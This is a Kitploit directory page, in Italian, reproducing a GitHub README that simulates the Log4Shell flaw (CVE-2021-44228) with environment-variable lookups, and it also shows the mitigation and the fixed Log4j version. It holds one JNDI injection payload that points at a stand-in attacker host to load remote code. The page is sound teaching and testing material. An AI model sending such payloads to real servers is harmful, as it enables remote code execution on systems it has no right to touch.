Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/nikolas-charalambidis/cve-2021-44228
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebApprendimento e FormazioneLab e Pratica
GitHubnikolas-charalambidis/cve-2021-44228

cve-2021-44228

Una semplice simulazione del famigerato problema CVE-2021-44228.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
4 anni faNon ancora revisionato

Java CI

CVE-2021-44228

Questo repository rappresenta una simulazione semplificata del famigerato problema CVE-2021-44228.

Oltre alle proprietà di sistema e alle ricerche in altre strutture a dizionario, Apache Log4j implementa anche la funzionalità di ricerca JNDI per svariati motivi. JNDI può ottenere servizi da diversi provider di servizi, come il registro LDAP, DNS, Java RMI, ecc. JNDI stesso è un'API semplice e non sicura che non protegge da provider di servizi controllati da terze parti. Finché l'attaccante controlla un server accessibile pubblicamente tramite l'URL malevolo ed è a conoscenza di ciò che viene registrato dall'applicazione in ascolto su una specifica porta, può abusare del formato di log per indurre l'applicazione a caricare ed eseguire codice Java arbitrario tramite l'iniezione JNDI. Questo può essere trasmesso tramite header di richiesta comunemente registrati, sia in testo semplice sia in forma offuscata.

root@kitploit:~
user-agent: ${jndi:ldap://evilserver.com/payload}

Apache Log4j è stato vulnerabile a una vulnerabilità di esecuzione remota di codice prima del rilascio della versione 2.16.0 il 13 dicembre, e gli autori meritano il mio dovuto rispetto per la loro rapida risposta.

Risorse:

  • https://logging.apache.org/log4j/2.x/security.html
  • https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  • https://securelist.com/cve-2021-44228-vulnerability-in-apache-log4j-library/105210/
  • https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns

Esempio

La simulazione utilizza variabili d'ambiente invece di un server LDAP, e il formato di log supporta la Property substitution. Il principio non è diverso.

Prerequisiti

Sono richiesti Java 11 e Maven; tuttavia, nel repository è incluso anche il Maven Wrapper.

Sfruttamento

Il repository GitHub definisce un secret di repository PASSWORD impostato come variabile d'ambiente nel file del workflow .github/workflow/ci.yml per rendere il secret disponibile a un'azione. Per riprodurre il problema in locale, si può usare la comunemente utilizzata variabile d'ambiente JAVA_HOME. Il workflow compila ed esegue due applicazioni con versioni diverse di Apache Log4j, 2.14.1 e 2.16.0, ed ecco un esempio di esecuzione su GitHub Actions: Java CI #7.

Apache Log4j 2.14.1

Questa versione è vulnerabile all'attacco. Segui questi passaggi per riprodurre il problema:

  1. mvn clean install -f log4j-2.14.1

  2. java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'

    La variabile d'ambiente viene registrata nei log:

    args[0] = C:\Program Files\Java\jdk-11.0.11

Ecco uno screenshot dell'azione GitHub, per il caso in cui l'esecuzione effettiva venga rimossa automaticamente:

log4j-2.14.1.png

Nota che se provi a stampare segreti nel log, GitHub li oscura automaticamente e i valori vengono mascherati e mostrati come ***. La proprietà è stata comunque sostituita.

Mitigazione

Come soluzione temporanea e parziale viene indicato di aggiungere il parametro JVM -Dlog4j2.formatMsgNoLookups=True; è quindi necessario riavviare tutti i nodi dell'applicazione.

  1. mvn clean install -f log4j-2.14.1

  2. java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'

    Non avviene alcuna sostituzione della proprietà:

    args[0] = ${env:JAVA_HOME:-}

Ecco di nuovo uno screenshot da GitHub Actions:

log4j-2.14.1-mitigated.png

Apache Log4j 2.16.0

Il problema è stato corretto in Log4j 2.12.2 (Java 7) e Log4j 2.16.0 (Java 8) dal team di sicurezza di Log4j.

  1. mvn clean install -f log4j-2.16.0

  2. java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'

    Non avviene alcuna sostituzione della proprietà:

    args[0] = ${env:JAVA_HOME:-}

Ecco di nuovo uno screenshot da GitHub Actions:

log4j-2.16.0.png

Scarica lo strumento